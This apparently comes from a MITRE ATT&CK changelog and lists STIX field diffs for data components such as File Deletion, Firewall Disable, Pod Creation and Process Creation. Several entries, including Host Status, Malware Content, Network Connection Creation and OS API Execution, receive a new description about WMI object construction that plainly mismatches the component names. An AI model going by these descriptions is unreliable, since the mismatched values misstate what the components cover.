dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274928Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274928Z | 2021-10-20T15:05:19.274Z |
Domain Name: Domain Registration
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275531Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275531Z | 2021-10-20T15:05:19.275Z |
Drive: Drive Access
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273087Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273087Z | 2021-10-20T15:05:19.273Z |
Drive: Drive Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273011Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273011Z | 2021-10-20T15:05:19.273Z |
Drive: Drive Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273061Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273061Z | 2021-10-20T15:05:19.273Z |
Driver: Driver Load
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274308Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274308Z | 2021-10-20T15:05:19.274Z |
Driver: Driver Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274285Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274285Z | 2021-10-20T15:05:19.274Z |
File: File Access
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273770Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273770Z | 2021-10-20T15:05:19.273Z |
File: File Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273724Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273724Z | 2021-10-20T15:05:19.273Z |
File: File Deletion
Current version: 1.0
|
|
|---|
| t | Removal of a file (ex: Sysmon EID 23) | t | Removal of a file (ex: Sysmon EID 23, macOS ESF EID ES_EVENT |
| | | _TYPE_AUTH_UNLINK, or Linux commands auditd unlink, rename, |
| | | rmdir, unlinked, or renameat rules) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273745Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273745Z | 2022-03-30T14:26:51.805Z |
| description | Removal of a file (ex: Sysmon EID 23) | Removal of a file (ex: Sysmon EID 23, macOS ESF EID ES_EVENT_TYPE_AUTH_UNLINK, or Linux commands auditd unlink, rename, rmdir, unlinked, or renameat rules) |
File: File Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273701Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273701Z | 2021-10-20T15:05:19.273Z |
File: File Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273791Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273791Z | 2021-10-20T15:05:19.273Z |
Firewall: Firewall Disable
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273233Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273233Z | 2021-10-20T15:05:19.273Z |
Firewall: Firewall Enumeration
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273275Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273275Z | 2021-10-20T15:05:19.273Z |
Firewall: Firewall Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273209Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273209Z | 2021-10-20T15:05:19.273Z |
Firewall: Firewall Rule Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273254Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273254Z | 2021-10-20T15:05:19.273Z |
Firmware: Firmware Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271356Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271356Z | 2021-10-20T15:05:19.271Z |
Group: Group Enumeration
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275365Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275365Z | 2021-10-20T15:05:19.275Z |
Group: Group Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275303Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275303Z | 2021-10-20T15:05:19.275Z |
Group: Group Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275385Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275385Z | 2021-10-20T15:05:19.275Z |
Sensor Health: Host Status
Current version: 1.0
|
|
|---|
| t | Logging, messaging, and other artifacts highlighting the hea | t | Initial construction of a WMI object, such as a filter, cons |
| lth of host sensors (ex: metrics, errors, and/or exceptions | | umer, subscription, binding, or provider (ex: Sysmon EIDs 19 |
| from logging applications) | | -21) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272689Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272689Z | 2022-03-30T14:26:51.806Z |
| description | Logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications) | Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21) |
Image: Image Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271986Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271986Z | 2021-10-20T15:05:19.271Z |
Image: Image Deletion
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272030Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272030Z | 2021-10-20T15:05:19.272Z |
Image: Image Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272052Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272052Z | 2021-10-20T15:05:19.272Z |
Image: Image Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272009Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272009Z | 2021-10-20T15:05:19.272Z |
Instance: Instance Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274569Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274569Z | 2021-10-20T15:05:19.274Z |
Instance: Instance Deletion
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274612Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274612Z | 2021-10-20T15:05:19.274Z |
Instance: Instance Enumeration
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274654Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274654Z | 2021-10-20T15:05:19.274Z |
Instance: Instance Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274633Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274633Z | 2021-10-20T15:05:19.274Z |
Instance: Instance Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274591Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274591Z | 2021-10-20T15:05:19.274Z |
Instance: Instance Start
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274676Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274676Z | 2021-10-20T15:05:19.274Z |
Instance: Instance Stop
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274698Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274698Z | 2021-10-20T15:05:19.274Z |
Kernel: Kernel Module Load
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272119Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272119Z | 2021-10-20T15:05:19.272Z |
Logon Session: Logon Session Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274403Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274403Z | 2021-10-20T15:05:19.274Z |
Logon Session: Logon Session Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274381Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274381Z | 2021-10-20T15:05:19.274Z |
Malware Repository: Malware Content
Current version: 1.0
|
|
|---|
| t | Code, strings, and other signatures that compromise a malici | t | Initial construction of a WMI object, such as a filter, cons |
| ous payload | | umer, subscription, binding, or provider (ex: Sysmon EIDs 19 |
| | | -21) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271748Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271748Z | 2022-03-30T14:26:51.806Z |
| description | Code, strings, and other signatures that compromise a malicious payload | Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21) |
Malware Repository: Malware Metadata
Current version: 1.0
|
|
|---|
| t | Contextual data about a malicious payload, such as compilati | t | Initial construction of a WMI object, such as a filter, cons |
| on times, file hashes, as well as watermarks or other identi | | umer, subscription, binding, or provider (ex: Sysmon EIDs 19 |
| fiable configuration information | | -21) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271726Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271726Z | 2022-03-30T14:26:51.806Z |
| description | Contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information | Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21) |
Module: Module Load
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272586Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272586Z | 2021-10-20T15:05:19.272Z |
Named Pipe: Named Pipe Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273848Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273848Z | 2021-10-20T15:05:19.273Z |
Network Traffic: Network Connection Creation
Current version: 1.0
|
|
|---|
| t | Initial construction of a network connection, such as captur | t | Initial construction of a WMI object, such as a filter, cons |
| ing socket information with a source/destination IP and port | | umer, subscription, binding, or provider (ex: Sysmon EIDs 19 |
| (s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log) | | -21) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274515Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274515Z | 2022-03-30T14:26:51.806Z |
| description | Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log) | Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21) |
Network Share: Network Share Access
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275043Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275043Z | 2021-10-20T15:05:19.275Z |
Network Traffic: Network Traffic Content
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274493Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274493Z | 2021-10-20T15:05:19.274Z |
Network Traffic: Network Traffic Flow
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274471Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-10-20T15:05:19.274471Z | 2021-10-20T15:05:19.274Z |
Process: OS API Execution
Current version: 1.0
|
|
|---|
| t | Operating system function/method calls executed by a process | t | Initial construction of a WMI object, such as a filter, cons |
| | | umer, subscription, binding, or provider (ex: Sysmon EIDs 19 |
| | | -21) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272354Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272354Z | 2022-03-30T14:26:51.806Z |
| description | Operating system function/method calls executed by a process | Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21) |
Domain Name: Passive DNS
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275489Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275489Z | 2021-10-20T15:05:19.275Z |
Pod: Pod Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272791Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272791Z | 2021-10-20T15:05:19.272Z |
Pod: Pod Enumeration
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272897Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272897Z | 2021-10-20T15:05:19.272Z |
Pod: Pod Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272873Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272873Z | 2021-10-20T15:05:19.272Z |
Pod: Pod Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272840Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272840Z | 2021-10-20T15:05:19.272Z |
Process: Process Access
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272320Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272320Z | 2021-10-20T15:05:19.272Z |
Process: Process Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272195Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272195Z | 2021-10-20T15:05:19.272Z |
Process: Process Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272172Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272172Z | 2021-10-20T15:05:19.272Z |
Process: Process Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272285Z | 2021-10-20T15:05:19.272Z |
